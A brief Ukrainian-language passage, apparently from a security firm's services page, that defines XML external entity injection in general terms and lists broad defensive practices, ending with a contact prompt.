Впровадження зовнішніх сутностей - це тип вразливості в системі безпеки, який дозволяє зловмисникові впроваджувати шкідливий код або сутності в XML-запит або запит SOAP. Це може бути використано для крадіжки конфіденційних даних, підвищення привілеїв та виконання довільного коду. Для захисту від впровадження зовнішніх сутностей важливо дотримуватися рекомендацій, таким як перевірка вхідних даних, параметризрвані запити і перевірка вхідних даних і кодування вихідних даних на стороні сервера. Роблячи ці кроки, організації можуть значно знизити ризик атак з впровадженням зовнішніх сутностей і захистити свої додатки і дані від зловмисників.

Інші Послуги

Готові до безпеки?

зв'язатися з нами